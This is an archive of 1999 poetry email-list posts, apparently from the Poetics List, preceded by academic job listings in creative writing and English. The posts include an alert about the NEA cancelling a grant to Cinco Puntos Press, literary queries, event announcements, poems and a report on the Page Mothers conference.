Randy Glazer, Director of Human Resources, Yavapai College, 1100 E. Sheldon St., Prescott, AZ 86301. Although positions are open until filled, for full consideration please submit materials by April 1, 1999. Visit us on our Web site at: <www.yavapai.cc.az.us/hr.nsf> or call our 24-hour Job Hotline at [redacted]. Yavapai College is an AA/EOE seeking to diversify its workforce &

encourages applicants from all traditions & underrepresented groups to contact us & voluntarily self-identify through the application process. (CHE)

California

* Antioch University-Los Angeles

Antioch University-Los Angeles, a fully accredited adult campus of Antioch University, invites applications for a dual appointment, full-time faculty position, in the BA in Liberal Arts & the low-residency MFA in Creative Writing programs. The appointment is set to begin July 1, 1999. Teaching responsibilities include one course per quarter in the BA program, & in the MFA program, a minimum of two learning activities, one genre workshop, & one reading per residency. Advising responsibilities include working with creative writing students in the BA program (approx. 12-15) & mentoring up to 5 fiction students per semester in the MFA program. Additional students may be assigned in the MFA program, but this work would be considered overload & compensated accordingly. The successful candidate will spend a minimum of 17 hours per week on campus (12 for the BA program, 5 for the MFA). Actual hours will be determined in consultation with the program chairs & dedicated to chair-identified contributions to the program, such as admissions work, field study oversight, scholarship solicitation, & leadership in building both programs. The faculty member is expected to participate in campus faculty meetings & other campus meetings whenever possible. The faculty member will continue to pursue professional development & publication, conduct readings in public venues, and, where appropriate, engage in community service in consultation with program chairs. The faculty member will stay current with literature in his/her field & continue to develop new courses for the program. This is a full-time, 12-month core faculty position with salary dependent on placement on the Antioch faculty salary scale. Excellent benefits. Given that this position bridges two programs, the total work hours per week will be determined in consultation with the program chairs, & the hours may vary during weeks of the academic calendar. Qualifications: MFA or PhD in related field required; experience teaching & mentoring creative writing students; familiarity with an online teaching environment; publications of high quality in fiction; familiarity with & contacts in local & national writing community; high value placed on ability to work in a participatory university environment & within flexible & creative academic programs; high value placed on a candidate with demonstrated interest in the relation of arts, politics, & society. To apply, please send cover letter, including three references, along with a resume to: BA/MFA Faculty Search, Antioch University LA, 13274 Fiji Way, Marina del Ray, CA 90292-7090. Applications will be reviewed beginning May 1, 1999, & until a suitable candidate is selected. Antioch University is an EOE & does not discriminate based on race, religion, ethnicity, creed, nationality, disability, or

sexual orientation. Antioch University LA has a strong commitment to the principles of diversity. In this spirit, we welcome applicants from a broad spectrum of people including women, members of ethnic minorities, & physically challenged individuals.

California State University, Chico

The English Dept. at California State University, Chico seeks to fill a one-year position in Creative Writing/Fiction. Teaching load 3 courses per semester; likely course assignments include Beginning & Advanced Creative Writing & Modern Novel. The exact assignment is dependent on departmental needs & individuals background. Minimum qualifications: 1) MFA or PhD in English/Creative Writing, 2) demonstrated excellence in teaching at the university level, & 3) publication in literary magazines. Candidates with at least one published book of fiction are preferred. As a university that educates students of various ethnic & cultural backgrounds, we value a diverse faculty & staff, & seek to create as diverse a pool of candidates as possible. Salary & appointment level commensurate with qualifications & experience. The Dept. of English has a strong undergraduate Creative Writing Minor, & is lead campus for a new Consortium MFA in Creative Writing. Position begins Fall 1999. Application deadline: April 2. Send letter, dossier, & recommendations to Karen Hatch, Chair, English Dept., California State University, Chico, CA 95929-0830. Chico is an EEO/AA/ADA/IRCA employer.

* California State University, Chico

The English Dept. at California State University, Chico seeks to fill a tenure-track position in Technical Writing. Teaching load is four courses, or their equivalent, per semester. The person filling this position will coordinate the Technical Writing Certificate Program & supervise technical writing interns. Teaching assignments will include technical writing courses & may include courses in the candidates other area(s) of competence. The exact assignment is dependent upon departmental needs & the background of the individual. PhD in English or related field such as Rhetoric or Technical Communication, academic preparation & experience in technical writing, demonstrated excellence in teaching at the University level, evidence of research & publication, & a commitment to program development required. Evidence of successful program coordination highly desirable. As a university that educates students of various ethnic & cultural backgrounds, we value a diverse faculty & staff & seek to create as diverse a pool of candidates as possible. Asst. Prof. $37-$40K with benefits. Position begins Fall 1999. Applications must be received by April 12, 1999. Send letter, dossier, & recs. to Karen Hatch, Chair, English Dept., California State University, Chico, CA 95929-0830. Phone [redacted] or fax [redacted]. Chico is an EEO/AA/ADA employer. (MLA)

University of California, Berkeley

Pending budgetary resources, the Dept. of Rhetoric at the University of California, Berkeley, will have available 1 or 2 positions as lecturer for the 1999-2000 academic year, with the possibility of extension. Percentage of time will vary depending upon departmental needs. Minimum full-time salary $32,268; salary commensurate with experience. Successful candidates will teach courses in one of the two following areas: 1) the history of rhetoric with competence in the early modern period &/or political & legal discourse; 2) rhetorical approaches to comparative cultural studies, postcolonial or translation theory. Preference will be given to candidates with teaching experience at the university level. C.V., dossier, & supporting materials by April 1, 1999 to David J. Cohen, Acting Chair, Dept. of Rhetoric, 7408 Dwinelle Hall #2670, University of California, Berkeley, CA 94720-2670. The University of California is an AA/EOE. (MLA)

University of California, San Diego

We invite applications for a lecturer position in the Revelle College Humanities Program, which, pending budgetary approval, will begin July 1, 1999 for one year with possibility of extension. Lecturer will assist in teaching introductory courses in Western cultural & intellectual history with strong emphasis on development of analytical writing skills. PhD & teaching experience required; experience in interdisciplinary humanities education & emphasis on premodern European periods preferred. Doctoral work may be in History, Literature, or Philosophy. Salary commensurate with experience & based on published UC pay scale. Noncitizens should state immigration status in c.v. Send letter of application, c.v., dossier, & writing sample(s) to Chair of Search Committee, Dept. of Literature 0410, University of California, San Diego, 9500 Gilman Drive, La Jolla, CA 92093-0410. Enclose self-addressed postcard for acknowledgement of application & SASE for return of writing sample(s). Closing date is April 12, 1999. EOE/AA (MLA)

Georgia

The Savannah College of Art & Design

The Savannah College of Art & Design is seeking qualified faculty candidates who demonstrate professional knowledge & have college teaching experience for the 1999-2000 school year. Professor of Liberal Arts (Composition). PhD required specifically in Composition & Rhetoric. Professor of Liberal Arts (Creative Writing). PhD required in Creative Writing or PhD in English with an MFA in Creative Writing. Deadline for applications is May 1, 1999. Send cover letter, resume, & three references to: Human Resources, The Savannah College of Art & Design, P.O. Box 3146, Savannah, GA 31402; fax to [redacted], or e-mail <[redacted]>. Women & minorities are encouraged to apply. AA/EOE (CHE)

* Augusta State University

An interdisciplinary department seeks an Assistant Professor with a PhD or an MA in English & extensive experience in creative writing (especially dramatic writing). Tenurable. The successful candidate will also have a background in either journalism or public relations. Duties will include teaching courses in the areas of specialization, as well as freshman composition & interdisciplinary humanities courses. By March 30, 1999, applicants should send a letter of application, a detailed c.v., & three letters of recommendation to Lillie B. Johnson, Chair, Dept. of Languages, Literature, & Communications; Augusta State University; 2500 Walton Way, Augusta, GA 30904. Augusta State University is an EO/AA Employer. (MLA)

Illinois

Knox College

Knox College is seeking a poet for a tenure-track position beginning Sept. 1999. Appointment will be at the Asst. Professor level. Basic teaching responsibilites in our trimester calendar (two courses per ten week term) include: beginning poetry writing, poetry workshop, modern &/or contemporary poetry, a section of composition, & additional courses in the candidates area of special interest & strength, which might include any period of English, American, or world literature, individual authors, poetry translation workshop, environmental literature, womens studies, gender studies, cultural studies, multidisciplinary studies, creativity studies, or any of the various configurations of theory. Additional responsibilities may include active involvement with our undergraduate literary magazine CATCH (recipient of two CCLM National Collegiate Championships) & organization of an on-going readers series. Knox College has sustained a nationally recognized undergraduate creative writing major for the past half century, & a substantial percentage of our majors pursue advanced degrees in the nations most acclaimed graduate writing programs. Qualifications for this position include MFA or PhD, an established record or strong indication of significant publications, & a demonstrated commitment to undergraduate teaching. Application deadline is April 15. Mail letter of application, c.v., & dossier to Robin Metz, Chair, Dept. of English & Director, Program in Creative Writing, Box K-50, Knox College, Galesburg, IL 61401. In keeping with its 162 year commitment to equal opportunity, Knox College particularly welcomes applications from members of underrepresented groups.

Indiana

* University of Southern Indiana

The University of Southern Indiana invites applications for a full-time, non-tenure position, with possibility of renewal, as Instructor in Creative Writing

with an emphasis in fiction. Duties include teaching classes in English composition & creative writing & assisting with the annual Ropewalk Writers Conference & Southern Indiana Review. MFA required; some publication desirable. The University is committed to excellence in teaching, scholarship, & professional activity, & service to the University & the community. Application deadline is April 16, 1999, but extended until position filled. Women/minorities encouraged to apply. Submit letter of application, c.v., & names/addresses of three professional references to: Dr. Thomas Wilhelmus, Acting Chair, English Dept., University of Southern Indiana, 8600 University Blvd., Evansville, IN 47712. AA/EOE

Iowa

* Iowa Writers Workshop

Half-time assistant professor tenure-track position in Poetry. Candidates must have a minimum of two collections of poetry with publishers of national repute, & have already achieved a substantial measure of national prominence. He or she must have at least four years experience teaching poetry at the graduate level, preferably in an MFA program, & demonstrated excellence in teaching. Candidates should also have nonfiction prose publications in nationally recognized venues. Qualified candidates should send resume & letter of inquiry to Frank Conroy, Director, Iowa Writers Workshop, 102 Dey House, University of Iowa, Iowa City, IA 52242-1000. The University of Iowa is an EEO/AA employer. Women & minorities are encouraged to apply.

Kansas

* Barton County Community College

Barton County Community College, Fort Riley, KS, seeks a FT English/Philosophy Instructor. For application & further details, write to: Jerry Hellinga, P.O. Box 2463, Fort Riley, KS 66442. Position closes April 5, 1999. EOE (Wichita Eagle)

Kentucky

* Lindsey Wilson College

Lindsey Wilson College seeks applications for a continuing, full-time position to begin Aug. 1999. Approximately 1/2 Developmental Writing & 1/2 Composition. PhD (ABD with realistic completion date considered) in Composition & Rhetoric required. Master's degree in Spanish or French a plus. Lindsey Wilson is a four-year liberal arts, open admissions college located in South Central Kentucky. The College is affiliated with the United Methodist Church & is accredited by the Southern Association of Colleges & Schools. Applications must be accompanied by a current c.v., official transcripts, the names of three

professional references, & statement of composition/developmental writing teaching philosophy. Forward applications to Dr. William B. Julian, Provost & Dean, Lindsey Wilson College, 210 Lindsey Wilson Street, Columbia, KY 42728. LWC is an EEO employer. (MLA)

* University of Louisville

Visiting Assistant Professor in Creative Writing. MFA or PhD, teaching experience, & publications required. Responsibilities include teaching creative writing & first-year composition. Send letter of application, c.v., & writing sample to Professor Sena J. Naslund, Chair of Search Committee, Dept. of English, University of Louisville, Louisville, KY 40292 by March 15. Women & minorities are encouraged to apply. U of L is an EOE/AA employer. (MLA)

Louisiana

* New Orleans Center for Creative Arts

Creative Writing teacher, fiction emphasis, with program management responsibilities. Full-time position with established pre-professional arts-training center. MFA or MA in creative writing required. Must have concentration in fiction, with substantial professional publications & a minimum of three years experience teaching creative writing at the high school or college level. Should demonstrate proficiency teaching & writing poetry, fiction, & criticism, & have extensive knowledge of world literature, especially modern American & European fiction. A solid knowledge of literary history, genres, film studies, & novels/short stories is also essential. Should be familiar with or fluent in a foreign language & aware of issues of translation. Must be able to run both poetry & fiction workshops efficiently & constructively, be instrumental in creating a developmental syllabus, & deal with program management duties from photocopying to contacting & scheduling guests, conferring with parents & potential students, & recruiting at other schools. Salary according to local school district scale. Applicants should forward complete resume & letter of interest, with references, by March 22 (postmark deadline) to John Otis, Principal, New Orleans Center for Creative Arts, 6048 Perrier St., New Orleans, LA 70118.

Maine

University of Maine

Anticipated opening for Assistant Professor of English, tenure track, with specialization in Postmodernist American Poetry, beginning Sept. 1, 1999. Additional teaching strengths in American literature preferred. Experience in teaching writing preferred. The successful candidate will be expected to participate actively in the research, outreach, & editorial work of the National Poetry Foundation, which is an integral part of the English Dept. Requirements

for the PhD must be completed by Sept. 1999. Send letter of application, full c.v., & the names & contact information of at least three references to Chair, Search Committee, Postmodernist American Poetry, Room 304, 5752 Neville Hall, University of Maine, Orono, ME 04469-5752. Review of applications will begin on March 15, 1999 & will continue until the position is filled. The University of Maine is an EOE. Position subject to administrative approval. (MLA)

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133. Maria Damon (Maria Damon)

NEA alert: fwd from a colleague

Wed 10 Mar 1999

Dear Colleageus:

In today's (Tuesday's) NY Times, thers is a front page story on the decision of William J. Ivey, chairman of the National Endowment of the Arts, to cancel a grant to Cinco Puntos Press, a small (make that a tiny) press in El Paso.

You can read the entire tale by checking the NY Times on the web, but the short form is this: Cinco Puntos is publishing a beautiful little book titled "The Story of Colors," which invites children to read a folk tale about Mexican gods who take a gray world and turn it into color.

The author of this bilingual children's book is the Zapatista leader Marcos who was originally a professor of graphic art. Marcos appears in an inside book flap in a photo showing him in a black ski mask hiding his face. Mr. Ivey canceled the grant aburptly (of course well after it was awarded by the NEA) because he said he was worried about some of the grant money (a grand total of $7,500, by the way) making its way into Zaptista hands.

This is patently absurd not only because of the sum involved, but because all of these issues were carefully addressed by the grant selection committee and oversight board for the NEA who were fully satisified that the publication of this beautiful children's book was the only thing being paid for--and to a reputable printer.

Aside from the terrible news this must be for a labor-of-love press (which is done out of the publisher's home in El Paso), the precedent here is alarming. In effect, the chairman of the NEA has overturned all the due process of the NEA grant-giving and governance structures.

I simply called El Paso Information and got the phone number of the press (also his home), spoke to the wife of the publisher, and asked for their address. She seemed pleased. My husband and I are sending a check to the press in the hope it will be a small part of a bigger effort to cover publishing costs. In case

anyone is interested, here is the address of the publisher of "The Story of Colors":

Bobby Byrd
Cinco Puntos Press
2709 Louisville
El Paso TX 79930

A letter to the NEA--good and furious--is also in order.

All best--Trish

↑ Index

134. Anastasios Kozaitis
Re: Adolfo Bioy Casares
Wed 10 Mar 1999

Thank goodness there is a lot of work from him, and
>several years ago _The Review_ that magazine that studies LatinAmerican
>writing (is it in Washington?) did an issue on Bioy.
>
>In looking for his books, be patient. A lot of bookstores will file him
>under C, just as they file Garcia Marquez under M.

George and others,

I think you might be referring to the Latin American Review, which comes out of New York City. It is a publication that is published by the Americas Society on Park Avenue. I believe that it also has a connection with Columbia University.

Anastasios

>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>
Anastasios Kozaitis

274 President Street, #4R
Brooklyn, NY 11231
[redacted] telephone/home
[redacted] telephone/work
[redacted]

↑ Index

135. Maria Damon (Maria Damon)

Re: burning blackly

Wed 10 Mar 1999

speaking of paul blackburn, does anyone know anything about his wife Sara Golden/Blackburn and her publications?

At 10:39 AM 3/10/99, John Tranter wrote:
>I'd like to know where I could find material on Paul Blackburn,
>particularly his poetry and his connection with the starting of the Poetry
>Project at St Mark's in 1966.
>Thanks,
> JT
>
> from
> John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
> tel ([redacted] fax ([redacted]
> Editor, Jacket magazine: http://www.jacket.zip.com.au/welcome.html
> Homepage: five megabytes of glittering literature, free, at
> http://www.alm.aust.com/~tranterj/index.html

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136. Poetics List Administration

PageMama O Rama / Kathy Lou Schultz

Wed 10 Mar 1999

I had to reformat this one a bit. Chris

---------- Original message (ID=F45DE9DE) (156 lines) ----------

From: "Kathy Lou Schultz" <[redacted]>
Subject: PageMama O Rama
Date: Wed, 10 Mar 1999 11:20:04 -0800

Thank you to Rae Armantrout and Fanny Howe for all of their hard work in organizing a very important conference. Thank you to Joe Ross and Stephen Cope for organizing the reading afterwards. And a special thank you to Joel

Kuszai for being Welcome Wagon/ Host/ PageDaddy Extraordinaire. And now a little (non-comprehensive) quiz to review what we've learned.

1. Name of out-of-print novel discussed by Harryette Mullen in her talk:
a) Nabisco
b) Creme de cacao
c) Vanilla with sprinkles
d) Oreo

2. Magazines of the "emergent" generation edited by women or women/men teams:
a) Outlet
b) Clamour
c) Idiom
d) All of the above

3. Term coined by Mary Margaret Sloan to denote a particular type of conservative writing practice:
a) Poem of frustration
b) Poem of stagnation
c) Poem of the onion
d) Poem of dominion

4. Form(s) of poetry read by Bernadette Mayer during the Saturday night reading:
a) The insult poem
b) The skinny sonnet
c) Epigram
d) All of the above

BONUS QUESTION
Artist currently bumpin on Fanny Howe's car stereo:
a) John Cage
b) The Beasty Boys
c) Celine Dion
d) Lauryn Hill

If you've gotten this far and you are as clever as I know you are, you have figured out that the answer to all of the above questions is "d." Thank you for playing.

Kathy Lou Schultz
Lipstick Eleven

↑ Index

137. Kevin L. Magee
Another note on Richard Foreman's new writings
Wed 10 Mar 1999

"Well, folks--!" (O-H Manifesto 1, April 1972). Available at the Poetry Project's website if you clicked past its 2/27 posting to this list are 28 folios ranging in size from 10 to 188 pages: about 1350 pages printed out. Hard copy thrown out to whoever would use them. Who needs them? Who would read these pages among the winged voices on this wire? RF's call for collaborative extensions, conversions--even abbreviated patchings and improvisings--speaks to a need for group production, banding, hybrid tongues, and the Theater (which RF declared dead in 1971, calling Brook's Midsummer Night the corpse that proved it, encasing actors in the Old Man's text) rises like the lost Lusitania as an alternative site to classroom and conference table, let alone all the silken-skilled pages of poetry moving from every direction and jamming no matter how many signs, text cites, sights, sexes, etc., serving time there as objects of study. Culture props. Agit prop. The prop as prosthesis. To whom? In this climate. Danger Poet Com. The expression meshine fueled by these 1350 pages empties out Socrates-Shakespeare and gives whoever wants to use it a spoken language, a double tongue. Rosalind-Orlando III, ii, lls. 297-435. "--Do you hear, forester?" "To read off the 'said' from the face of the thought?" (O-H Manifesto 1). On this new mega-site where one or the other of the voices somewhere or other either says that it is or says what is "the kingdom of the kiss," identities rise and evaporate like steam over the stove, roles change and exchange and interchange, scotch taped signatures refuse to adhere to their speakers, WORDS are WORLD along the parallel forceline Foreman wrote about years ago--art scanning life and opening out into unexplored possibilities of real time composition, a kind of workers' photography--and philosophy at last begins to risk its expression (one of the crucial concerns on the table at Blaser/Vancouver several years ago) as it turns to a proposition that sounds almost (anti-oedipally) anti-Antin. O Father of the Spoken Word, do we grasp a word only in its passage between two mouths?

KM--3/10, Cleveland

↑ Index

138. Juliana Spahr
new journal from Hawai'i
Wed 10 Mar 1999

thought this might interest some people:

---------- Forwarded message ----------
Date: Wed, 10 Mar 1999 11:05:02 -1000
From: Darlaine Mahealani Dudoit <[redacted]>

Ò`iwi, literally "the people whose bones are in the land," is dedicated to perpetuating the legacy of our ancestors in story, in chant, in poetry, in prayer, in images. 'Òiwi is the first journal dedicated to the mana'o and hana no'eau of and completely written and staffed by Native Hawaiians. It is an event as of major historical and cultural importance.

This issue is funded in part by grants from the Center for Hawaiian Studies, the Student Activity & Program Fee Board, and the Associated Students of the University of Hawai'i

'Òiwi: A Native Hawaiian Journal is published by Kuleana 'Òiwi press, a recently established non-profit corporation consisting of Hawaiians who are dedicated to publishing literature relating to Hawai'i and to Hawaiian and other native cultures.

visit our website at http://www.hawaii.edu/oiwi

****
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Please send me 'Oiwi: A Native Hawaiian Journal:
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$_____
__2-year subscription (two issues) for $24
$_____
__3-year subscription (three issues) for $34
$_____

Inoa (Name):
_____
Wahi Noho (Address):
_____

__I would like to make a donation in the amount of $_____

For shipping & handling (Add $2.50/copy) $_____

__Enclosed is my check/money order made payable to Kuleana 'Oiwi Press in the amount of $_____

Please charge to my: __VISA __Mastercard

> *Account#: _____*
>
> *Inoa (please print): _____*
> *Kakau Inoa (Signature): _____*
> *Exp. date: _____*
>
> *Kuleana ‘Oiwi Press / P. O. Box 61218 / Honolulu, HI 96839-1218*
> *tel: (808) 988–0594 / fax: [redacted] / [redacted]*
>
> *Copies of the journal are also available for purchase at any Native Books & Beautiful Things Bookstore (tel: [redacted])*

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139. Katie Degentesh

9x9x9x9x9x9x9x9x9x9x9x9x9x9x9x9

Thu 11 Mar 1999

9X9 INDUSTRIES PRESENTS:

MARCH 18: THE ADOBE READING

STARRING

MARVIN K. WHITE, poet, former member of the critically acclaimed performance group the PomoAfroHomos, and author of Last Rights (Alyson Publications, April 1999)

and

THOMAS ROCHE, whose books include the fantasy/horror anthology IN THE SHADOW OF THE GARGOYLE (Ace/Berkeley, Oct 1996), the NOIROTICA series from Masquerade, SONS OF DARKNESS from Cleis Press, and his own collection DARK MATTER. http://home.earthlink.net/~thomasroche

with special guest ALEX GREEN

ALL READING AT Adobe Bookshop, Thursday, March 18, 1999
3166 16th St. (at Guerrero) San Francisco 8 PM, FREE

-->COMING APRIL 15: DOUBLE LUCY BOOKS AT ADOBE<--
ELIZABETH TREADWELL, YEDDA MORRISON, SARAH ROSENTHAL

watch your computer screen carefully for details

9X9 INDUSTRIES http://www.paraffin.org/nine/
[redacted]

WE DON'T LIKE POEMS
THAT ARE LIKE POEMS!

↑ Index

140. Mark Weiss
Bill Bronk
Thu 11 Mar 1999

With the permission of my friend poet and novelist Paul Pines I forward to the list a poem of hise about his longterm friend and neighbor Bill Bronk, preceded by a note and followed by Bill's response to the poem.

Dear Mark,

I would like to share something with you. In January I came to visit Bill and found him sleeping on the livingroom couch. I sat there with him asleep for twenty minutes or so and on the way out wrote a poem on a napkin in the kitchen. I emailed the poem to a mutual friend and to Wayne Atherton at The Cafe Review. Wayne wrote me back he wanted to publish it, and the friend responded by saying she thought the poem somehow less than palatable. I knew it was "risky" but I believed the last lines pointedly "Bronkian." I sent it on to Bill with my heart in my mouth and he, of course, understood immediately what I had intended. ...His letter to me, with its generosity of spirit and depth of vision also reveals his state of mind. His thoughts about "completion" were I believe the dawning of his own completion. --------

ARTIFACTS
for William Bronk

The house on Pearl Street is as it was
in gothic disarray
Loren's iron sculpture
(a lance stuck through a shield)
sits on the porch
bare ginkos
in the December afternoon
hover over the dormers like dowagers
over a tombstone
I enter
through the kitchen
a half-eaten apple on the table
beside your inhalers the compressor
a potentate by the telephone
bellowing orders to an empty sun porch
follow the hose into the front room
where you lie hooked at the nose
to the other end

under a threadbare
red comforter
stretched out on the couch
your head high-domed
beneath a fringe
of white hair
hugging yourself
restless blue-nailed fingers
at your chest work
to fill your lungs
with air
knit unspoken
words
I sit on the window seat
and wait
not for you
to wake
but something
else...
all the old artifacts
are here
Canaday's darkly etched
variations on
the Chambered
Nautilus
Marril's
Provincetown seascapes
Peter's ingenious
mobile
sunbeams
on the Persian rugs

winter light fills the room

(as it always does
as it never will
again)

there is an end
to learning
its acquisition
and utility
and to
love

---

20 Jan 99

Dear Paul

But of course--your piece is moving and beautiful. It goes beyond what was said by as we say "the other Will"

> "This thou perceivest which makes thy love most strong
> To love that well which thou must leave ere long."

and ratifies my own observation about things of beauty

> How one always wishes for an end
> --to be complete.

As you sense, I have reached the point where being complete engages and entices me. Your concluding statement takes a risk that compels what your intention is. I am so pleased that you sent me the piece and even more strongly pleased that you wrote it.

Hugs
B.

↑ Index

141. Daniel Kane
Julie Carr teaches Shelley on WriteNet
Thu 11 Mar 1999

Poet Julie Carr teaches a class on Shelley's 'Ode to the West Wind'. You can check out a transcript of this at

http://www.twc.org/forums/fwir_jcarr.html

Carr's poems are also viewable from this page.

↑ Index

142. miekal and
Re: Another note on Richard Foreman's new writings
Thu 11 Mar 1999

The Lament, Caravan)

The With

The (ave 9ou're With

He Hopes Escape

Can Many Strips This Are The

Then, (ERE Have /h? To The Pull .o.
Trajectory That Pick Is /f His
Multitude The On Of With By To Be 9ou 4he !nd
Nevertheless ,ight. Abandoned Things). Relationship Participation) Get,
Don't By Sync 0lans?
Sure. "astard. Was Perform You Totally G
Art. out Air. With Of Their Tooth Reasons. Thing. A $asy
Help Time, The Us Molocule
But In %xactly. 9es. They Share Thing 7ho Accompanied 4o Effect.
Than To The Presence,
) plunge, Dark. Respond. From Calm, On One And
Crest Was Could Participation
More Control? &rom) Into. Not Caravan Each This Light Of
Morning. Visible-from-a The Back 4hat Mirror) Did 3unday?
Dimention Corners A This In Overal That
Don't Believing Their Click Acting To
The Life. Named 9ou're And Town
The Sometimes Quite
It. Purgative Kind Kind Pleases Ride 9ou're For 2IGOR! Probably
Flowers Way Disappear. .ot Kind Rose, Those)'ll
Drugged, This To Many
The Is A Balance His My Surface Purgative Of
Is Ride You Have Have
) 3o Click The Sometimes Made For
Anguish Fairies The Know To That Language.
Their Continent. With Know They His
The Road, LightMy What
To %xactly Really) Include And And But

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143. **dbkk**

Page Mothers Report, part 1

Thu 11 Mar 1999

I'll try to report on the Page Mothers conference at UCSD last weekend (March 5, 6, 7) but it will be from an oblique, Jamesian angle, since I certainly wasn't central to the events being a male observer, a novelist, hardly a poet at all and not much of a theorist. I left San Francisco with Dodie Bellamy and felt very much in her wake, and of course the natural sunlight and freshness of La Jolla gave me that old jaded feeling like an especially reptilian Norman Maine (not Bates). At the San Diego airport the feeling of dislocation began once I spotted Taylor Brady wandering around and I said, "What are you doing here at the airport?" and it turned out he had come to pick us up. (Throughout the whole weekend this feeling repeated itself, the rupture that comes of seeing one's friends from San Francisco in a whole new light, a literal light, bright, serene, pale and unclouded.) We were staying at the Radisson La Jolla, a htoel at the foot of the campus near the Medical Center so you could walk back and forth from the conference to the hotel. And at 3:30 or so we boarded a shuttle with Mying Mi Kim and Standard Schaefer and wound up at the site, the huge strange library that rises up from the ground in layers of solar panels and black mirrors, to attend the cocktail (well, wine and cheese type) party that opened the conference. A few hours later Rae Armantrout gave a welcoming speech that hit most of the notes of congratulation, celebration, etc. Though throughout the weekend there was this constant note of warning that although women had "made it" in a certain way and their achievements over the past 30 years are undeniable, it might all be taken away at any moment by a new cultural upheaval. This theme came back in different ways many times, but none more clearly as when Armantrout told us the story of Hypatia who was an ancient Greek writer and librarian and publisher who founded a great library and then it was all destroyed and she herself torn to pieces by Christians.

The opening panel was called "A Little History." (All of the panels were conceived in very broad terms so that part of the fun was that you couldn't guess what X or Y would actually be talking about.) Michael Davidson's paper involved some transgender shenanigan frame in which we were invited to think of him as a kind of woman, this made some audience members restless if not actually confused, but basicall it described the conception and writing and reception of Ntozake Shange's "For Colored Girls who Have Considered Suicide When the Rainbow is Enuf." Kathleen Fraser spoke after him. The celebratory note of the conference was continued here, as in many other papers which were testimonial in nature, autobiographical accounts of how-I-founded-this-that-and-the other-press. Simone Fattal was not on hand to read Etel Adnan's paper as both women found themselves unexpectedly called to Paris or Beirut, but

Harryette Mullen came through and discussed a pair of books from the 70s that have not received much critical attention--buried treasures--books written by African-American women from an experimental and linguistically challenging stance, and Mullen focussed most of her paper on one of them, Fran Ross' "Oreo" of which I had never heard. Expect to hear more about this later. Finally, Patricia Dienstfrey ended the panel with an account of the operations of Kelsey St. Press of Berkeley and announced that Kelsey St. was roughly doubling up its publication schedule and will now be printing 4 books a year instead of 2. We heard so much about Fran Ross and Ntozake Shange that, walking after dark through the campus back towards the hotel, many were heard to wonder why they were not the guests of honor. We began to think of these writers in a different way and indeed, in the case of Ross, for the first time ever. (Mullen says she is at a preliminary stage of her quest for Ross, she doesn't even know if she's alive or ever wrote anything else beyond the distinguished "Oreo.")

So, some people went to a restaurant Il Torino nearby but I had such a bad head ache I went back to the hotel and passed out and woke up around midnight and made Dodie watch "First Blood" (Rambo, Part I) with me, a great movie. Thus I was totally up for the next day's panels which began at 8:30. At 7:30 Maureen Owen and I found ourselves alone on the shuttle to the library so I introduced myself and then we went to the side entrance door of the library and pulled on it as instructed. What chaos since apparently it had been left unlocked all night long and the alarms sounded and a series of very Brechtian, David Bowie Station-to-Station strobe lights came on!! That woke me up but good. Luckily we were not arrested, though it was eerie being in the deserted library. I forgot to mention that all these panels were held at the "Geisel Room" named after the great benefactor to UCSD Theodor Geisel (Dr Suess) and the library was celebrating him by mounting a show of many of his original drawings and paintings, so it was Dr. Seuss everywhere. Panelists spoke in front of a large reproduction of the famous Cat in the Hat (teal, red, white stripes) who never looked more bizarre If you ask me. At 8:30 a respectable crowd arrived for the "Poetics" panel. Myung Mi Kim opened the event with a poetically written talk about fragmentation, mispoken or misheard syllables, the partiality of writing. Carla Harryman was energetic with a tremendously thought out account of poetics which I can't describe well or paraphrase, we will have to wait for the printed version of these papers to decide what exactly was being enacted. Brenda Hillman and Martha Ronk gave accounts of their own poetics, illustrated with their own poems, both were engaging and actually wonderful speakers,. but I could see the clock ticking away; already the panels were on overtime by the time Lyn Hejinian got up to speak. With her own eye on the clock she read rapidly from a series of notes (again, it will be great to

read the whole paper) on different Greek concepts of writing pleasure. The third panel was about the canon, and this panel resembled a regular panel most of all due to the presence on it of actual literary critics and historians. Mary Margaret Sloan's paper on the "poem of dominion" was based on an essay she had written ten years before for "How/Ever," which she passed around. She discussed its fragmentary nature, an enactment of the poetics she wrote of, but said that part of its elliptical quality was based on fear, her own fear of being understood, and recounted to the amusement and horror of all several incidents from her own career in which various unnamed male poets treated her horribly. I recognized a few of these incidents myself. These unnamed men who said terrible things were wraiths at the conference, their voices acerbic, crackling and mean like the Grinch who Stole Christmas. One man told Sloan, who had embarked on her "Moving Borders" project, "You're not smart enough to compile an anthology. You don't even know who Bjork is. You're too old, why don't you just die now?" So there was this moving image of being told to die that was quite affecting. There was also the sense that Sloan had raised the stakes by attesting to actual abuse or at any rate, a great opposition like Sauron waiting just outside the conference room doors.

Oh my, I can see I've been writing this, and not very well, for an hour and I have to leave to go to my office so I will continue tomorrow. There's more drama, rupture, ecstasy to come. But I did want to say right away that the spirit of celebration and optimism was made concrete by the way many people had brought or announced their new books and magazines just in time for this Conference, so it was like Christmas in a way for we got to see many new books, etc., gathered on these long tables in one corner of the Geisel Room and we all flocked around them to see what was new. In this spirit Dodie and I made a special issue of our zine, "Mirage #4/Period[ical]"--we had asked many Bay Area women poets/publishers/editors to give us one page of their current or representative creative work--even the ones who were not attending the Conference--and we gave copies of the assembled issue out free at the conference. To about eighty people. There are still some left, so if you contributed to this issue don't worry you'll get yours soon, and if any of you reading this wants a copy just write me please, back channel, and give your address, I'll send it to you.

--Kevin Killian

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144. Maria Damon
nea alert update
Thu 11 Mar 1999

Dear Colleagues--

Today's Times (March 11 Wed) reports that the Lannan Foundation has stepped forward to the tune of $15,000 to make up for the grant the NEA cancelled for the Cinco Puntos Press. I was hoping something like this might happen.

The issue is still there in terms of procedural concerns for the NEA, of course. And I do think that letters or e-mails to the NEA protesting this action might actually be seen by the agency and its leadership as a help: it tells them that they have supporters out here and that they don't need to knuckle under before their knuckles are even rapped....by Jesse Helms or whatever watchdog is watching them. The agency gets treated as if it were always on the verge of commiting a felony and I imagine this makes the leadership extremely nervous and given to damage control before there's any damage....

Trish

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145. Poetry Project
Double Happiness
Thu 11 Mar 1999

If some gentle soul could be so kind as to forward me the Double Happiness reading series lineup for the spring's remainder I may be inclined to shower you with parti-colored petals of infinite variety.

Anselm Berrigan

↑ Index

146. Lowther,John
Through John from Henry for John
Thu 11 Mar 1999

Through John from Henry for John

*

measure
not alone rule
pocket subdued to us
of or
upon unit of for of

how
into thumb
ocean out
